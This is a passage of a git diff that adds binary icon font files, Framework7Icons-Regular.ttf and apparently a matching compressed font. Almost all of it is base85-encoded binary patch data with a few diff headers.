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 literal 0 HcmV?d00001 diff --git a/fonts/Framework7Icons-Regular.ttf b/fonts/Framework7Icons-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..72ec5c31f9718e6355fa2314a575e2dc4171ab3b GIT binary patch literal 51352 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 